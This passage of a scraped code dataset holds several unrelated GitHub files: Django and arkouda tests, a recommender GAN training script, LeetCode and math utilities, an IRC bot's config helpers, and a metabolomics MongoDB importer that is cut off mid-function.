Product\n\nclass TestProductEndpoints(APITestCase):\n\n\t@classmethod\n\tdef setUpTestData(cls):\n\t\ttest_product = Product.objects.create(\n\t\t\tid=1,\n\t\t\tname=\"test_product\",\n\t\t\tdescription=\"test_description\",\n\t\t\tquantity=5,\n\t\t\tprice=400.50,\n\t\t\timg=None,\n\t\t\tamount_sold=200,\n\t\t\tis_promotion=True,\n\t\t\tdiscount_rate=0.25,\n\t\t\tcategory=\"Celulares\",\n\t\t\tnational=True,\n\t\t\tfree_shipping=True,\n\t\t\tis_new=True,\n\t\t\trating=4\n\t\t)\n\n\t\ttest_product2 = Product.objects.create(\n\t\t\tid=2,\n\t\t\tname=\"test_product2\",\n\t\t\tdescription=\"test_description2\",\n\t\t\tquantity=5,\n\t\t\tprice=400.50,\n\t\t\timg=None,\n\t\t\tamount_sold=200,\n\t\t\tis_promotion=False,\n\t\t\tdiscount_rate=None,\n\t\t\tcategory=\"Eletronicos\",\n\t\t\tnational=True,\n\t\t\tfree_shipping=True,\n\t\t\tis_new=True,\n\t\t\trating=4\n\t\t)\n\n\t\ttest_product3 = Product.objects.create(\n\t\t\tid=3,\n\t\t\tname=\"a random name\",\n\t\t\tdescription=\"a nice product\",\n\t\t\tquantity=5,\n\t\t\tprice=400.50,\n\t\t\timg=None,\n\t\t\tamount_sold=200,\n\t\t\tis_promotion=False,\n\t\t\tdiscount_rate=None,\n\t\t\tcategory=\"Relogios\",\n\t\t\tnational=True,\n\t\t\tfree_shipping=True,\n\t\t\tis_new=True,\n\t\t\trating=4\n\t\t)\n\n\tdef test_product_search_view(self):\n\t\tpath = reverse('search_endpoint')\n\n\t\tsingle_output_search_terms = ['test_product2','test_description2','random','nice']\n\t\tmultiple_output_search_terms = ['test_product','test',\"test_description\"]\n\n\t\tfor term in single_output_search_terms:\n\n\t\t\tquery_parameter = {\"search\":term}\n\t\t\tresponse = self.client.get(path,query_parameter)\n\n\t\t\tdata = response.data\n\t\t\tis_single_output = isinstance(data,list) and len(data) == 1\n\n\t\t\tself.assertEqual(response.status_code,status.HTTP_200_OK)\n\t\t\tself.assertEqual(is_single_output,True)\n\n\t\tfor term in multiple_output_search_terms:\n\n\t\t\tquery_parameter = {\"search\":term}\n\t\t\tresponse = self.client.get(path,query_parameter)\n\n\t\t\tdata = response.data\n\n\t\t\tis_list_output = isinstance(data,list) and len(data) > 1\n\n\t\t\tself.assertEqual(response.status_code,status.HTTP_200_OK)\n\t\t\tself.assertEqual(is_list_output,True)\n\n\n","repo_name":"enzoMagalhaes/ecommerce-restapi","sub_path":"api/tests/test_search_engine.py","file_name":"test_search_engine.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11984320721","text":"\"\"\"формування валового доходу універмагу\n\"\"\"\n\nfrom data_service import get_dovidnyk, get_tovaroobih\n\n# структура запису для вхідних даних\ndohid = {\n 'name_of_tovar' : '', # найменування товарної групи\n 'year' : '', # рік\n 'plan' : 0.0, # план товарообігу\n 'vykonannya' : 0.0, # очікуване виконання товаробігу\n 'sale' : 0.0, # торгова скидка\n 'plan_1' : 0.0, # план валового доходу \n 'vykonannya_1' : 0.0 # очікуване виконання валового доходу\n}\n\ndef create_dohid():\n \"\"\"формування списку доходу\n\n Returns:\n dohid_list: список доходу\n \"\"\"\n\n def get_tovar_name(tovar_code):\n \"\"\"знаходить назву товару по коду\n\n Args:\n tovar_code ([type]): код товару\n\n Returns:\n [type]: назву товару\n \"\"\"\n for dovidnyk_1 in dovidnyk:\n if tovar_code == dovidnyk_1[0]:\n return (dovidnyk_1[1], dovidnyk_1[2])\n\n\n \n\n # накопичувач вхідних даних\n dohid_list = []\n\n tovaroobih = get_tovaroobih()\n dovidnyk = get_dovidnyk()\n\n\n for tovaroobih_1 in tovaroobih:\n\n #робоча змінна\n dohid_work = dohid.copy() \n\n dohid_work['year'] = tovaroobih_1[3]\n dohid_work['plan'] = tovaroobih_1[1]\n dohid_work['vykonannya'] = tovaroobih_1[2]\n dohid_work['name_of_tovar'] = get_tovar_name(tovaroobih_1[0])[0]\n dohid_work['sale'] = get_tovar_name(tovaroobih_1[0])[1]\n dohid_work['plan_1'] = dohid_work['plan'] * dohid_work['sale']\n dohid_work['vykonannya_1'] = dohid_work['vykonannya'] * dohid_work['sale']\n dohid_list.append(dohid_work) \n\n return dohid_list\n\n\n\n\n\n\ndef format_dohid(dohid):\n return f'{dohid.get(\"name_of_tovar\"):15} | {dohid.get(\"year\"):5} | {dohid.get(\"plan\"):4} | {dohid.get(\"vykonannya\")} | {dohid.get(\"sale\"):3} | {dohid.get(\"plan_1\"):8} | {dohid.get(\"vykonannya_1\"):8}'\n\n\n#print(get_tovaroobih())\n#print(get_dovidnyk())","repo_name":"Tannely/ICS-252525","sub_path":"process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38099427221","text":"# -*- coding: utf-8 -*-\nimport tensorflow as tf\nimport numpy as np\nimport pickle \nimport utils as ut\nimport multiprocessing # 多进程\nfrom gen_model import GEN\nfrom dis_model import DIS\n\ncores = multiprocessing.cpu_count() # 计算cpu核数\nprint(cores)\n\n# 温度参数设置为 0.2\nEMB_DIM = 5 # 矩阵分解中的因子数目,潜在维度\nUSER_NUM = 943 # 用户数目\nITEM_NUM = 1683 # 项目数目\nBATCH_SIZE = 16\nINIT_DELTA = 0.05\n\nall_items = set(range(ITEM_NUM)) \nworkdir = 'ml-100k/'\nDIS_TRAIN_FILE = workdir + 'dis-train.txt'\n\n# 采用NetRank两层神经网络来计算查询和文档之间的相关分数\n# 采用矩阵分解来为用户项目偏好打分\n# 采用余弦相似度来衡量问题和回答之间的相似性\n\n#########################################################################################\n# Load data\n#########################################################################################\n# 采用的是隐性反馈数据,将 5 星评级作为正反馈,其它作为未知反馈\nuser_pos_train = {}\nwith open(workdir + 'movielens-100k-train.txt')as fin:\n for line in fin:\n line = line.split() #通过指定分隔符对字符串进行切片\n uid = int(line[0])\n iid = int(line[1])\n r = float(line[2])\n if r > 3.99: # 是否应该为4.99?\n if uid in user_pos_train:\n user_pos_train[uid].append(iid)\n else:\n user_pos_train[uid] = [iid]\n\nuser_pos_test = {}\nwith open(workdir + 'movielens-100k-test.txt')as fin:\n for line in fin:\n line = line.split()\n uid = int(line[0])\n iid = int(line[1])\n r = float(line[2])\n if r > 3.99:\n if uid in user_pos_test:\n user_pos_test[uid].append(iid)\n else:\n user_pos_test[uid] = [iid]\n\nall_users = sorted(user_pos_train) # 先求出user_pos_train 字典型变量的键值,然后对其排序 # 得到用户从小到大的排序[0,1,2...]\nprint(all_users)\n# 最终要的是生成模型生成的能够以假乱真的内容\n# 计算 DCG 折扣增益\ndef dcg_at_k(r, k):\n r = np.asfarray(r)[:k]\n return np.sum(r / np.log2(np.arange(2, r.size + 2)))\n\n# 计算归一化折扣增益\ndef ndcg_at_k(r, k):\n dcg_max = dcg_at_k(sorted(r, reverse=True), k)\n if not dcg_max:\n return 0.\n return dcg_at_k(r, k) / dcg_max\n\ndef simple_test_one_user(x):\n rating = x[0]\n u = x[1]\n\n test_items = list(all_items - set(user_pos_train[u]))\n item_score = []\n for i in test_items:\n item_score.append((i, rating[i]))\n\n item_score = sorted(item_score, key=lambda x: x[1])\n item_score.reverse() # list.reverse() 对列表的元素进行反向排序\n item_sort = [x[0] for x in item_score]\n\n r = []\n for i in item_sort:\n if i in user_pos_test[u]:\n r.append(1)\n else:\n r.append(0)\n\n p_3 = np.mean(r[:3])\n p_5 = np.mean(r[:5])\n p_10 = np.mean(r[:10])\n ndcg_3 = ndcg_at_k(r, 3)\n ndcg_5 = ndcg_at_k(r, 5)\n ndcg_10 = ndcg_at_k(r, 10)\n\n return np.array([p_3, p_5, p_10, ndcg_3, ndcg_5, ndcg_10])\n\ndef simple_test(sess, model):\n result = np.array([0.] * 6)\n pool = multiprocessing.Pool(cores)\n batch_size = 128\n #test_users = user_pos_test.keys()\n test_users = list(user_pos_test.keys())\n test_user_num = len(test_users)\n index = 0\n while True:\n if index >= test_user_num:\n break\n user_batch = test_users[index:index + batch_size]\n index += batch_size\n\n user_batch_rating = sess.run(model.all_rating, {model.u: user_batch})\n user_batch_rating_uid = zip(user_batch_rating, user_batch) \n # 将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的对象,这样做的好处是节约了不少的内存。\n # 我们可以使用 list() 转换来输出列表。\n batch_result = pool.map(simple_test_one_user, user_batch_rating_uid)\n # 进程池的使用是为了提高效率,第一个参数是一个函数,第二个参数是一个迭代器,将迭代器中的数字作为参数依次传入函数中\n for re in batch_result:\n result += re\n\n pool.close()\n ret = result / test_user_num\n ret = list(ret)\n return ret\n\n\ndef generate_for_d(sess, model, filename): # 生成器生成文档\n data = []\n for u in user_pos_train:\n pos = user_pos_train[u] # ��得每一个用户的积极样本\n\n rating = sess.run(model.all_rating, {model.u: [u]})\n rating = np.array(rating[0]) / 0.2 # Temperature\n exp_rating = np.exp(rating)\n prob = exp_rating / np.sum(exp_rating)\n\n neg = np.random.choice(np.arange(ITEM_NUM), size=len(pos), p=prob)\n for i in range(len(pos)):\n data.append(str(u) + '\\t' + str(pos[i]) + '\\t' + str(neg[i]))\n\n with open(filename, 'w')as fout:\n fout.write('\\n'.join(data))\n\n\ndef main():\n print(\"load model...\")\n #param = pickle.load(open(workdir + \"model_dns_ori.pkl\")) #.pkl是python 用来保存文件的\n with open(workdir + \"model_dns_ori.pkl\",'rb') as data_file:\n param = pickle.load(data_file,encoding='bytes') \n #param = cPickle.load(open(workdir + \"model_dns_ori.pkl\"))\n #with open(workdir + \"model_dns_ori.pkl\",'rb') as data_file:\n #param = pickle.load(data_file,encoding='bytes')\n print(param)\n generator = GEN(ITEM_NUM, USER_NUM, EMB_DIM, lamda=0.0 / BATCH_SIZE, param=param, initdelta=INIT_DELTA,\n learning_rate=0.001)\n discriminator = DIS(ITEM_NUM, USER_NUM, EMB_DIM, lamda=0.1 / BATCH_SIZE, param=None, initdelta=INIT_DELTA,\n learning_rate=0.001)\n\n config = tf.ConfigProto() # 一般用在创建session的时候。用来对session进行参数配置,配置session运行参数&&GPU设备指定\n config.gpu_options.allow_growth = True ## 使用allow_growth option,刚一开始分配少量的GPU容量,然后按需慢慢的增加,由于不会释放\n #内存,所以会导致碎片\n sess = tf.Session(config=config) # 要运行刚才定义的三个操作中的任何一个,我们需要为Graph创建一个Session。 Session还将分配内存来存储变量的当前值\n sess.run(tf.global_variables_initializer())\n\n print(\"gen \", simple_test(sess, generator))\n print(\"dis \", simple_test(sess, discriminator))\n\n dis_log = open(workdir + 'dis_log.txt', 'w')\n gen_log = open(workdir + 'gen_log.txt', 'w')\n\n # minimax training\n best = 0.\n for epoch in range(15):\n if epoch >= 0:\n for d_epoch in range(100):\n if d_epoch % 5 == 0:\n generate_for_d(sess, generator, DIS_TRAIN_FILE)\n train_size = ut.file_len(DIS_TRAIN_FILE)\n index = 1\n while True:\n if index > train_size:\n break\n if index + BATCH_SIZE <= train_size + 1:\n input_user, input_item, input_label = ut.get_batch_data(DIS_TRAIN_FILE, index, BATCH_SIZE)\n else:\n input_user, input_item, input_label = ut.get_batch_data(DIS_TRAIN_FILE, index,\n train_size - index + 1)\n index += BATCH_SIZE\n\n _ = sess.run(discriminator.d_updates,\n feed_dict={discriminator.u: input_user, discriminator.i: input_item,\n discriminator.label: input_label})\n\n # Train G\n for g_epoch in range(50): # 50\n for u in user_pos_train:\n sample_lambda = 0.2\n pos = user_pos_train[u]\n\n rating = sess.run(generator.all_logits, {generator.u: u})\n exp_rating = np.exp(rating)\n prob = exp_rating / np.sum(exp_rating) # prob is generator distribution p_\\theta\n\n pn = (1 - sample_lambda) * prob\n pn[pos] += sample_lambda * 1.0 / len(pos)\n # Now, pn is the Pn in importance sampling, prob is generator distribution p_\\theta\n\n sample = np.random.choice(np.arange(ITEM_NUM), 2 * len(pos), p=pn)\n ###########################################################################\n # Get reward and adapt it with importance sampling\n ###########################################################################\n reward = sess.run(discriminator.reward, {discriminator.u: u, discriminator.i: sample})\n reward = reward * prob[sample] / pn[sample]\n ###########################################################################\n # Update G\n ###########################################################################\n _ = sess.run(generator.gan_updates,\n {generator.u: u, generator.i: sample, generator.reward: reward})\n\n result = simple_test(sess, generator)\n print(\"epoch \", epoch, \"gen: \", result)\n buf = '\\t'.join([str(x) for x in result])\n gen_log.write(str(epoch) + '\\t' + buf + '\\n')\n gen_log.flush()\n\n p_5 = result[1]\n if p_5 > best:\n print('best: ', result)\n best = p_5\n generator.save_model(sess, \"ml-100k/gan_generator.pkl\")\n\n gen_log.close()\n dis_log.close()\n\n\nif __name__ == '__main__':\n #__spec__ = \"ModuleSpec(name='builtins', loader=)\"\n main()","repo_name":"sapze/Recommendation","sub_path":"movie_irgan/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"10066649309","text":"'''\n给定一个二叉树,找出其最大深度。\n\n二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。\n\n说明: 叶子节点是指没有子节点的节点。\n\n示例:\n给定二叉树 [3,9,20,null,null,15,7],\n\n 3\n / \\\n 9 20\n / \\\n 15 7\n返回它的最大深度 3 。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/maximum-depth-of-binary-tree\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n# 递归\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n if root is None: \n return 0\n d_l = self.maxDepth(root.left)\n d_r = self.maxDepth(root.right)\n return 1 + max(d_l, d_r)\n\n\n\n# 迭代\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n stack = []\n if root:\n stack.append((1, root))\n maxd = 0\n while stack:\n currentd, root = stack.pop()\n if root:\n maxd = max(maxd, currentd)\n stack.append((currentd+1, root.left))\n stack.append((currentd + 1, root.right))\n return maxd\n\n\n","repo_name":"JancisWang/leetcode_python","sub_path":"104. 二叉树的最大深度.py","file_name":"104. 二叉树的最大深度.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13941879533","text":"import matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport numpy as np\n\nx = np.linspace(0, 1, 100)\ny = np.linspace(0, 1.5, 100)\nx, y = np.meshgrid(x, y)\n\nfig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})\nax.plot_surface(\n x, y, x** 2*(x** 2 - y** 2)** 2,\n cmap=cm.viridis\n )\n\nplt.show()\n","repo_name":"martkjoh/slange","sub_path":"røkla/pion_decay.py","file_name":"pion_decay.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26553088945","text":"import math\nfrom operator import mul\nfrom functools import reduce\nfrom functools import lru_cache\n\n\ndef number_to_digits(num, base=10, length=None):\n digits = []\n while num > 0:\n digits.append(num % base)\n num //= base\n if length is not None:\n padding = [0] * (length - len(digits))\n digits += padding\n\n return list(reversed(digits))\n\n\ndef digits_to_number(digits, base=10):\n num = 0\n for digit in digits:\n num = num * base + digit\n return num\n\n\ndef ncr(n, r):\n r = min(r, n-r)\n numer = reduce(mul, range(n, n-r, -1), 1)\n denom = reduce(mul, range(1, r+1), 1)\n return numer // denom\n\n\ndef iter_primes(max_value, begin=None):\n is_primes = [True] * (max_value + 1)\n is_primes[0] = is_primes[1] = False\n for i in range(2, (max_value + 1) // 2):\n if is_primes[i]:\n j = 2 * i\n while j <= max_value:\n is_primes[j] = False\n j += i\n if begin is None:\n return (i for i, is_prime in enumerate(is_primes) if is_prime)\n else:\n return (i for i, is_prime in enumerate(is_primes) if is_prime and i >= begin)\n\n\n@lru_cache(10000)\ndef nCr(n, r):\n if (n - r) < r:\n r = n - r\n numer = 1\n denom = 1\n for k in range(r):\n numer *= (n - k)\n denom *= (r - k)\n return numer // denom\n\n\ndef catalan(n):\n \"\"\"catalan = (2n)! / ((n + 1)! * n!)\"\"\"\n nfact = math.factorial(n)\n return math.factorial(2 * n) // nfact // nfact // (n + 1)\n\n\n@lru_cache(10000)\ndef permutations_with_dup(counts):\n return math.factorial(sum(counts)) // reduce(mul, (math.factorial(i) for i in counts if i >= 2), 1)\n","repo_name":"jms7446/util","sub_path":"mymath.py","file_name":"mymath.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9164073693","text":"# Mandelbot\n\"\"\"\nProvides basic utilties for running Mandelbot\n\"\"\"\nimport os, sys, time, base64, json, argparse, logging\n\ndef flags() :\n \"\"\"Parses the arguments Mandelbot is run with\"\"\"\n p = argparse.ArgumentParser(description=\"runs an instance of the Mandelbot IRC bot\")\n p.add_argument(\"-b\", \"--build\", action=\"store_true\", help=\"creates a configuration file\")\n p.add_argument(\"-v\", \"--verbose\", action=\"count\", default = 0, help=\"display running information (-vv for debugging)\")\n p.add_argument(\"-f\", \"--features\", action=\"store_true\", help=\"load all features on startup\")\n p.add_argument(\"-i\", \"--interactive\", action=\"store_true\", help = \"run Mandelbot interactively\")\n p.add_argument(\"-c\", \"--config\", dest=\"config\",\n help=\"specify a different configuration file to use\")\n\n arg = p.parse_args()\n return arg\n\ndef logInit(verbosity) :\n _LEVELS = {\n 0 : logging.ERROR,\n 1 : logging.INFO,\n 2 : logging.DEBUG,\n }\n\n try :\n level = _LEVELS[verbosity]\n\n except KeyError :\n level = _LEVELS[2]\n\n h = logging.StreamHandler()\n h.setLevel(level)\n\n f = logging.Formatter(\"[%(asctime)s] %(message)s\")\n h.setFormatter(f)\n\n l = log()\n l.addHandler(h)\n l.setLevel(level)\n\ndef log() :\n \"\"\"Returns the logger object for the bot\"\"\"\n return logging.getLogger(\"bot\")\n\n\"\"\"\nPassword Methods\nHandle encoding and decoding network and user passwords for slightly \"safer\" storage\n(Stops people from being able to straight-up read your password from the config)\n\"\"\"\nclass password(object) :\n\n def encode(p) :\n \"\"\"Returns an encoded password as a string\"\"\"\n return base64.b64encode(p.encode(\"UTF-8\")).decode(\"UTF-8\")\n\n def decode(p) :\n \"\"\"Returns a decoded password as a string\"\"\"\n return base64.b64decode(p.encode(\"UTF-8\")).decode(\"UTF-8\")\n\n\"\"\"\nConfiguration Methods\n\"\"\"\nclass config(object) :\n file = None\n loaded = {}\n\n def __init__(self, file = None) :\n \"\"\"Initiates the configuration session using the specified file\"\"\"\n self.file = os.path.abspath(__file__)[:-8] + \"../\" + file\n\n def __getattr__(self, name) :\n try :\n return self.loaded[name]\n\n except KeyError :\n return False\n\n def load(self) :\n \"\"\"Loads the configuration from the configuration file\"\"\"\n try :\n with open(self.file, \"r\") as fp :\n self.loaded = json.load(fp)\n fp.close()\n\n except (FileNotFoundError, ValueError) as e :\n log().critical(\"Invalid configuration file \\\"{}\\\", please run Mandelbot using the --build flag first\".format(self.file))\n log().warning(\"Aborting Mandelbot launch.\")\n exit()\n\n def build(self, networks = []) :\n \"\"\"Takes a list of network objects, strips the configurations\n from each and packages them in a dictionary to be stored\"\"\"\n log().info(\"Building new configuration...\")\n\n try :\n assert(isinstance(networks, list))\n assert(len(networks) > 0)\n\n conf = {}\n nets = []\n\n for n in networks :\n nets.append(n.config)\n\n if nets :\n conf[\"networks\"] = nets\n\n self._save(conf)\n\n except AssertionError :\n log().error(\"Building configuration failed - invalid data structure\")\n\n except Exception as e :\n log().error(\"Building configuration failed - {}\".format(e))\n\n def _save(self, new) :\n \"\"\"Replaces the current configuration file with an updated one\"\"\"\n try :\n with open(self.file, \"w\") as fp :\n json.dump(new, fp)\n fp.close()\n\n log().info(\"Configuration saved as \\\"{}\\\"\".format(self.file))\n\n except Exception as e :\n log().error(\"Saving configuration failed - {}\".format(e))\n","repo_name":"owenjones/Mandelbot","sub_path":"mandelbot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"41283192696","text":"from base_test import ArkoudaTest\nfrom context import arkouda as ak\n\n\"\"\"\nEncapsulates test cases that test sort functionality\n\"\"\"\n\n\nclass SortTest(ArkoudaTest):\n def testSort(self):\n pda = ak.randint(0, 100, 100)\n for algo in ak.SortingAlgorithm:\n spda = ak.sort(pda, algo)\n maxIndex = spda.argmax()\n self.assertTrue(maxIndex > 0)\n\n pda = ak.randint(0, 100, 100, dtype=ak.uint64)\n for algo in ak.SortingAlgorithm:\n spda = ak.sort(pda, algo)\n self.assertTrue(ak.is_sorted(spda))\n\n shift_up = pda + 2**200\n for algo in ak.SortingAlgorithm:\n sorted_pda = ak.sort(pda, algo)\n sorted_bi = ak.sort(shift_up, algo)\n self.assertListEqual((sorted_bi - 2 ** 200).to_list(), sorted_pda.to_list())\n\n def testBitBoundaryHardcode(self):\n\n # test hardcoded 16/17-bit boundaries with and without negative values\n a = ak.array([1, -1, 32767]) # 16 bit\n b = ak.array([1, 0, 32768]) # 16 bit\n c = ak.array([1, -1, 32768]) # 17 bit\n for algo in ak.SortingAlgorithm:\n assert ak.is_sorted(ak.sort(a, algo))\n assert ak.is_sorted(ak.sort(b, algo))\n assert ak.is_sorted(ak.sort(c, algo))\n\n # test hardcoded 64-bit boundaries with and without negative values\n d = ak.array([1, -1, 2**63 - 1])\n e = ak.array([1, 0, 2**63 - 1])\n f = ak.array([1, -(2**63), 2**63 - 1])\n for algo in ak.SortingAlgorithm:\n assert ak.is_sorted(ak.sort(d, algo))\n assert ak.is_sorted(ak.sort(e, algo))\n assert ak.is_sorted(ak.sort(f, algo))\n\n def testBitBoundary(self):\n\n # test 17-bit sort\n L = -(2**15)\n U = 2**16\n a = ak.randint(L, U, 100)\n for algo in ak.SortingAlgorithm:\n assert ak.is_sorted(ak.sort(a, algo))\n\n def testErrorHandling(self):\n\n # Test RuntimeError from bool NotImplementedError\n akbools = ak.randint(0, 1, 1000, dtype=ak.bool)\n bools = ak.randint(0, 1, 1000, dtype=bool)\n\n for algo in ak.SortingAlgorithm:\n with self.assertRaises(ValueError):\n ak.sort(akbools, algo)\n\n with self.assertRaises(ValueError):\n ak.sort(bools, algo)\n\n # Test TypeError from sort attempt on non-pdarray\n with self.assertRaises(TypeError):\n ak.sort(list(range(0, 10)), algo)\n\n # Test attempt to sort Strings object, which is unsupported\n with self.assertRaises(TypeError):\n ak.sort(ak.array([\"String {}\".format(i) for i in range(0, 10)]), algo)\n","repo_name":"21771/arkouda","sub_path":"tests/sort_test.py","file_name":"sort_test.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"40581578825","text":"# -*- coding: utf-8 -*-\n\nfrom biocluster.api.database.base import Base, report_check\nimport os\nimport datetime\nimport types\n# from biocluster.config import Config\nfrom bson.son import SON\nfrom bson.objectid import ObjectId\nimport glob\nimport re\nimport pandas as pd\n\n\nclass SamplePlsda(Base):\n def __init__(self, bind_object):\n super(SamplePlsda, self).__init__(bind_object)\n self._project_type = \"metabolome\"\n\n @report_check\n def add_sample_plsda(self, metab_table_id=None, name=None, main_id=None, params=None):\n if not main_id:\n metab_table_id = self.check_id(metab_table_id, \"metab_table_id\")\n task_id = self.bind_object.sheet.id\n project_sn = self.bind_object.sheet.project_sn\n created_ts = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n insert_data = {\n 'project_sn': project_sn,\n 'task_id': task_id,\n 'desc': '',\n 'created_ts': created_ts,\n 'name': name if name else 'Plsda_Origin',\n 'params': params if params else '',\n 'status': 'end',\n 'main_id': '',\n \"version\" : \"3.0\",\n \"metab_table\" :metab_table_id\n }\n\n try:\n collection = self.db['sample_plsda']\n diff_id = collection.insert_one(insert_data).inserted_id\n self.update_table(\"main_id\", diff_id, diff_id)\n except Exception as e:\n self.bind_object.set_error('导入主表异常:%s', variables=(e))\n else:\n self.update_table(\"main_id\", main_id, main_id)\n diff_id = main_id\n return diff_id\n\n @report_check\n def add_exp_diff_model(self, diff_id, pls_dir):\n diff_id = self.check_id(diff_id, \"diff_id\")\n if not os.path.exists(pls_dir):\n self.bind_object.set_error('%s所指定的路径不存在,请检查!', variables=(pls_dir))\n data_list = []\n result = self.db['sample_plsda'].find_one({'_id': diff_id})\n if not result:\n self.bind_object.set_error('找不到%s对应的主表id', variables=(diff_id), code=\"54702008\")\n else:\n task_id = result['task_id']\n #samples_dic = name2id(task_id, type=\"task\")\n\n pls_dict = {}\n intercept_files = glob.glob(pls_dir + '/*intercept.xls')\n for eachfile in intercept_files:\n model = 'plsda'\n with open(eachfile, \"r\") as f:\n head = f.next()\n r2 = f.next().strip().split(\"\\t\")[1]\n q2 = f.next().strip().split(\"\\t\")[1]\n pls_dict[model + \"_r2\"] = float(r2)\n pls_dict[model + \"_q2\"] = float(q2)\n model_files = glob.glob(pls_dir + \"/*model.xls\")\n self.bind_object.logger.info(model_files)\n for eachfile in model_files:\n model = 'plsda'\n data_list = self.diff_model(diff_id, data_list, eachfile, pls_dict)\n try:\n collection = self.db['sample_plsda_mode']\n if len(data_list) > 0:\n collection.insert_many(data_list)\n\n except Exception as e:\n self.bind_object.set_error(\"导入表格sample_plsda_mode信息出错:%s\" , variables=(e), code=\"54702009\")\n else:\n self.bind_object.logger.info(\"导入表格sample_plsda_mode信息成功!\")\n\n @report_check\n def diff_model(self, diff_id, data_list, eachfile, pls_dict):\n with open(eachfile, 'rb') as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n a = line[0]\n r2x = float(line[1]) if line[1] != \"NA\" else \"NA\"\n r2x_cum = float(line[2])\n r2y = float(line[3]) if line[3] != \"NA\" else \"NA\"\n r2y_cum = float(line[4])\n q2 = float(line[5]) if line[5] != \"NA\" else \"NA\"\n q2_cum = float(line[6])\n insert_data = {\n 'plsda_id': diff_id,\n 'a': a,\n 'r2x': r2x,\n 'r2x_cum': r2x_cum,\n 'q2': q2,\n 'q2_cum': q2_cum,\n 'r2y_cum': r2y_cum,\n 'r2y': r2y,\n 'r2': pls_dict[\"plsda_r2\"],\n 'pq2': pls_dict[\"plsda_q2\"],\n }\n data_list.append(insert_data)\n return data_list\n\n @report_check\n def add_exp_diff_comp(self, diff_id, pls_dir, group_file):\n diff_id = self.check_id(diff_id, \"diff_id\")\n if not os.path.exists(pls_dir):\n self.bind_object.set_error('%s所指定的路径不存在,请检查!', variables=(pls_dir), code=\"54702010\")\n if not os.path.exists(group_file):\n self.bind_object.set_error('%s所指定的路径不存在,请检查!', variables=(group_file), code=\"54702011\")\n group_dict = {}\n with open(group_file, \"r\") as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n sample = line[0]\n group = line[1]\n group_dict[sample] = group\n data_list = []\n result = self.db['sample_plsda'].find_one({'_id': diff_id})\n if not result:\n self.bind_object.set_error('找不到%s对应的主表id', variables=(diff_id), code=\"54702012\")\n else:\n task_id = result['task_id']\n #samples_dic = name2id(task_id, type=\"task\")\n #groups = os.listdir(pls_dir)\n #for eachgroup in groups:\n comp_files = glob.glob(pls_dir + '/*sites.xls')\n for eachfile in comp_files:\n #model = \"plsda\"\n with open(eachfile, 'rb') as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n name = line[0]\n group = group_dict[name]\n pc1 = float(line[1])\n pc2 = float(line[2])\n insert_data = {\n 'plsda_id': diff_id,\n 'group': group,\n 'name': name,\n 'pc1': pc1,\n 'pc2': pc2,\n 'type': \"specimen\"\n }\n data_list.append(insert_data)\n ellipse_files = glob.glob(pls_dir + '/*ellipse.xls')\n for eachfile in ellipse_files:\n with open(eachfile, 'rb') as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n group = line[0]\n m1 = line[1]\n m2 = line[2]\n c11 = line[3]\n c12 = line[4]\n c21 = line[5]\n c22 = line[6]\n ellipse = [m1, m2, c11, c12, c21, c22]\n insert_data = {\n 'plsda_id': diff_id,\n 'group': group,\n 'name': \"p1p2\",\n 'type': \"circle\",\n 'ellipse': ellipse\n }\n data_list.append(insert_data)\n try:\n collection = self.db['sample_plsda_comp']\n if len(data_list) > 0:\n collection.insert_many(data_list)\n except Exception as e:\n self.bind_object.set_error(\"导入表格sample_plsda_comp信息出错:%s\" , variables=(e), code=\"54702013\")\n else:\n self.bind_object.logger.info(\"导入表格sample_plsda_comp信息成功!\")\n\n @report_check\n def add_exp_diff_bar(self, diff_id, pls_dir):\n diff_id = self.check_id(diff_id, \"diff_id\")\n if not os.path.exists(pls_dir):\n self.bind_object.set_error('%s所指定的路径不存在,请检查!', variables=(pls_dir), code=\"54702014\")\n data_list = []\n result = self.db['sample_plsda'].find_one({'_id': diff_id})\n if not result:\n self.bind_object.set_error('找不到%s对应的主表id', variables=(diff_id), code=\"54702015\")\n else:\n task_id = result['task_id']\n #samples_dic = name2id(task_id, type=\"task\")\n # groups = os.listdir(pls_dir)\n # for eachgroup in groups:\n comp_files = glob.glob(pls_dir + '/*PLS-DA.model.xls')\n for eachfile in comp_files:\n number = 0\n with open(eachfile, 'rb') as f:\n head = f.next()\n for line in f:\n line = line.strip().split('\\t')\n number += 1\n comp = \"comp\" + str(number)\n r2y_cum = float(line[4])\n q2_cum = float(line[6])\n if float(line[4]) <0 or float(line[6]) <0:\n 